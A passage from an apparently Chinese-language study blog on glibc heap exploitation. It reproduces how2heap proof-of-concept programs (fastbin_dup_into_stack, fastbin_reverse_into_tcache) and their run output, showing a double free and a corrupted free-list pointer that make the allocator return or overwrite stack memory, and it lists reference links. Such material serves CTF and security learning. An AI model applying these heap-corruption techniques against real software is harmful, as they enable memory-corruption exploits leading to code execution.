Now, we can free 0x55555555b3a0 again, since it's not the head of the free list.
Now the free list has [ 0x55555555b3a0, 0x55555555b3c0, 0x55555555b3a0 ]. If we malloc 3 times, we'll get 0x55555555b3a0 twice!
1st calloc(1, 8): 0x55555555b3a0
2nd calloc(1, 8): 0x55555555b3c0
3rd calloc(1, 8): 0x55555555b3a0

fastbin_dup_into_stack(分配到栈上)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
#include <stdio.h>
#include <stdlib.h>
#include <assert.h>

int main()
{
fprintf(stderr, "This file extends on fastbin_dup.c by tricking calloc into\n"
"returning a pointer to a controlled location (in this case, the stack).\n");


fprintf(stderr,"Fill up tcache first.\n");

void *ptrs[7];

for (int i=0; i<7; i++) {
ptrs[i] = malloc(8);
}
for (int i=0; i<7; i++) {
free(ptrs[i]);
}


unsigned long long stack_var;

fprintf(stderr, "The address we want calloc() to return is %p.\n", 8+(char *)&stack_var);

fprintf(stderr, "Allocating 3 buffers.\n");
int *a = calloc(1,8);
int *b = calloc(1,8);
int *c = calloc(1,8);

fprintf(stderr, "1st calloc(1,8): %p\n", a);
fprintf(stderr, "2nd calloc(1,8): %p\n", b);
fprintf(stderr, "3rd calloc(1,8): %p\n", c);

fprintf(stderr, "Freeing the first one...\n"); //First call to free will add a reference to the fastbin
free(a);

fprintf(stderr, "If we free %p again, things will crash because %p is at the top of the free list.\n", a, a);

fprintf(stderr, "So, instead, we'll free %p.\n", b);
free(b);

//Calling free(a) twice renders the program vulnerable to Double Free

fprintf(stderr, "Now, we can free %p again, since it's not the head of the free list.\n", a);
free(a);

fprintf(stderr, "Now the free list has [ %p, %p, %p ]. "
"We'll now carry out our attack by modifying data at %p.\n", a, b, a, a);
unsigned long long *d = calloc(1,8);

fprintf(stderr, "1st calloc(1,8): %p\n", d);
fprintf(stderr, "2nd calloc(1,8): %p\n", calloc(1,8));
fprintf(stderr, "Now the free list has [ %p ].\n", a);
fprintf(stderr, "Now, we have access to %p while it remains at the head of the free list.\n"
"so now we are writing a fake free size (in this case, 0x20) to the stack,\n"
"so that calloc will think there is a free chunk there and agree to\n"
"return a pointer to it.\n", a);
stack_var = 0x20;

fprintf(stderr, "Now, we overwrite the first 8 bytes of the data at %p to point right before the 0x20.\n", a);
/*VULNERABILITY*/
*d = (unsigned long long) (((char*)&stack_var) - sizeof(d));
/*VULNERABILITY*/

fprintf(stderr, "3rd calloc(1,8): %p, putting the stack address on the free list\n", calloc(1,8));

void *p = calloc(1,8);

fprintf(stderr, "4th calloc(1,8): %p\n", p);
assert(p == 8+(char *)&stack_var);
// assert((long)__builtin_return_address(0) == *(long *)p);
}

和2.27的一样不多说了运行结果

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
This file extends on fastbin_dup.c by tricking calloc into
returning a pointer to a controlled location (in this case, the stack).
Fill up tcache first.
The address we want calloc() to return is 0x7fffffffdcb0.
Allocating 3 buffers.
1st calloc(1,8): 0x55555555b380
2nd calloc(1,8): 0x55555555b3a0
3rd calloc(1,8): 0x55555555b3c0
Freeing the first one...
If we free 0x55555555b380 again, things will crash because 0x55555555b380 is at the top of the free list.
So, instead, we'll free 0x55555555b3a0.
Now, we can free 0x55555555b380 again, since it's not the head of the free list.
Now the free list has [ 0x55555555b380, 0x55555555b3a0, 0x55555555b380 ]. We'll now carry out our attack by modifying data at 0x55555555b380.
1st calloc(1,8): 0x55555555b380
2nd calloc(1,8): 0x55555555b3a0
Now the free list has [ 0x55555555b380 ].
Now, we have access to 0x55555555b380 while it remains at the head of the free list.
so now we are writing a fake free size (in this case, 0x20) to the stack,
so that calloc will think there is a free chunk there and agree to
return a pointer to it.
Now, we overwrite the first 8 bytes of the data at 0x55555555b380 to point right before the 0x20.
3rd calloc(1,8): 0x55555555b380, putting the stack address on the free list
4th calloc(1,8): 0x7fffffffdcb0

fastbin_reverse_into_tcache

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <assert.h>

const size_t allocsize = 0x40;

int main(){
setbuf(stdout, NULL);

printf(
"\n"
"This attack is intended to have a similar effect to the unsorted_bin_attack,\n"
"except it works with a small allocation size (allocsize <= 0x78).\n"
"The goal is to set things up so that a call to malloc(allocsize) will write\n"
"a large unsigned value to the stack.\n\n"
);

// Allocate 14 times so that we can free later.
char* ptrs[14];
size_t i;
for (i = 0; i < 14; i++) {
ptrs[i] = malloc(allocsize);
}

printf(
"First we need to free(allocsize) at least 7 times to fill the tcache.\n"
"(More than 7 times works fine too.)\n\n"
);

// Fill the tcache.
for (i = 0; i < 7; i++) {
free(ptrs[i]);
}

char* victim = ptrs[7];
printf(
"The next pointer that we free is the chunk that we're going to corrupt: %p\n"
"It doesn't matter if we corrupt it now or later. Because the tcache is\n"
"already full, it will go in the fastbin.\n\n",
victim
);
free(victim);

printf(
"Next we need to free between 1 and 6 more pointers. These will also go\n"
"in the fastbin. If the stack address that we want to overwrite is not zero\n"
"then we need to free exactly 6 more pointers, otherwise the attack will\n"
"cause a segmentation fault. But if the value on the stack is zero then\n"
"a single free is sufficient.\n\n"
);

// Fill the fastbin.
for (i = 8; i < 14; i++) {
free(ptrs[i]);
}

// Create an array on the stack and initialize it with garbage.
size_t stack_var[6];
memset(stack_var, 0xcd, sizeof(stack_var));

printf(
"The stack address that we intend to target: %p\n"
"It's current value is %p\n",
&stack_var[2],
(char*)stack_var[2]
);

printf(
"Now we use a vulnerability such as a buffer overflow or a use-after-free\n"
"to overwrite the next pointer at address %p\n\n",
victim
);

//------------VULNERABILITY-----------

// Overwrite linked list pointer in victim.
*(size_t**)victim = &stack_var[0];

//------------------------------------

printf(
"The next step is to malloc(allocsize) 7 times to empty the tcache.\n\n"
);

// Empty tcache.
for (i = 0; i < 7; i++) {
ptrs[i] = malloc(allocsize);
}

printf(
"Let's just print the contents of our array on the stack now,\n"
"to show that it hasn't been modified yet.\n\n"
);

for (i = 0; i < 6; i++) {
printf("%p: %p\n", &stack_var[i], (char*)stack_var[i]);
}

printf(
"\n"
"The next allocation triggers the stack to be overwritten. The tcache\n"
"is empty, but the fastbin isn't, so the next allocation comes from the\n"
"fastbin. Also, 7 chunks from the fastbin are used to refill the tcache.\n"
"Those 7 chunks are copied in reverse order into the tcache, so the stack\n"
"address that we are targeting ends up being the first chunk in the tcache.\n"
"It contains a pointer to the next chunk in the list, which is why a heap\n"
"pointer is written to the stack.\n"
"\n"
"Earlier we said that the attack will also work if we free fewer than 6\n"
"extra pointers to the fastbin, but only if the value on the stack is zero.\n"
"That's because the value on the stack is treated as a next pointer in the\n"
"linked list and it will trigger a crash if it isn't a valid pointer or null.\n"
"\n"
"The contents of our array on the stack now look like this:\n\n"
);

malloc(allocsize);

for (i = 0; i < 6; i++) {
printf("%p: %p\n", &stack_var[i], (char*)stack_var[i]);
}

char *q = malloc(allocsize);
printf(
"\n"
"Finally, if we malloc one more time then we get the stack address back: %p\n",
q
);

assert(q == (char *)&stack_var[2]);

return 0;
}

和2.27的一样这里不多说了运行结果

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
This attack is intended to have a similar effect to the unsorted_bin_attack,
except it works with a small allocation size (allocsize <= 0x78).
The goal is to set things up so that a call to malloc(allocsize) will write
a large unsigned value to the stack.

First we need to free(allocsize) at least 7 times to fill the tcache.
(More than 7 times works fine too.)

The next pointer that we free is the chunk that we're going to corrupt: 0x55555555b4d0
It doesn't matter if we corrupt it now or later. Because the tcache is
already full, it will go in the fastbin.

Next we need to free between 1 and 6 more pointers. These will also go
in the fastbin. If the stack address that we want to overwrite is not zero
then we need to free exactly 6 more pointers, otherwise the attack will
cause a segmentation fault. But if the value on the stack is zero then
a single free is sufficient.

The stack address that we intend to target: 0x7fffffffdc60
It's current value is 0xcdcdcdcdcdcdcdcd
Now we use a vulnerability such as a buffer overflow or a use-after-free
to overwrite the next pointer at address 0x55555555b4d0

The next step is to malloc(allocsize) 7 times to empty the tcache.

Let's just print the contents of our array on the stack now,
to show that it hasn't been modified yet.

0x7fffffffdc50: 0xcdcdcdcdcdcdcdcd
0x7fffffffdc58: 0xcdcdcdcdcdcdcdcd
0x7fffffffdc60: 0xcdcdcdcdcdcdcdcd
0x7fffffffdc68: 0xcdcdcdcdcdcdcdcd
0x7fffffffdc70: 0xcdcdcdcdcdcdcdcd
0x7fffffffdc78: 0xcdcdcdcdcdcdcdcd

The next allocation triggers the stack to be overwritten. The tcache
is empty, but the fastbin isn't, so the next allocation comes from the
fastbin. Also, 7 chunks from the fastbin are used to refill the tcache.
Those 7 chunks are copied in reverse order into the tcache, so the stack
address that we are targeting ends up being the first chunk in the tcache.
It contains a pointer to the next chunk in the list, which is why a heap
pointer is written to the stack.

Earlier we said that the attack will also work if we free fewer than 6
extra pointers to the fastbin, but only if the value on the stack is zero.
That's because the value on the stack is treated as a next pointer in the
linked list and it will trigger a crash if it isn't a valid pointer or null.

The contents of our array on the stack now look like this:

0x7fffffffdc50: 0xcdcdcdcdcdcdcdcd
0x7fffffffdc58: 0xcdcdcdcdcdcdcdcd
0x7fffffffdc60: 0x55555555b4d0
0x7fffffffdc68: 0x55555555b010
0x7fffffffdc70: 0xcdcdcdcdcdcdcdcd
0x7fffffffdc78: 0xcdcdcdcdcdcdcdcd

Finally, if we malloc one more time then we get the stack address back: 0x7fffffffdc60

Reference

https://github.com/shellphish/how2heap/tree/master/glibc_2.23

https://blog.csdn.net/qq_41202237/article/details/112825556?ops_request_misc=%257B%2522request%255Fid%2522%253A%2522164941793516782094830354%2522%252C%2522scm%2522%253A%252220140713.130102334.pc%255Fblog.%2522%257D&request_id=164941793516782094830354&biz_id=0&utm_medium=distribute.pc_search_result.none-task-blog-2~blog~first_rank_ecpm_v1~rank_v31_ecpm-1-112825556.article_score_rank_blog&utm_term=large&spm=1018.2226.3001.4450

https://bbs.pediy.com/thread-259269.htm

http://blog.leanote.com/post/mut3p1g/how2heap

https://cloud.tencent.com/developer/article/1759223

https://ctf-wiki.org/pwn/linux/user-mode/heap/ptmalloc2/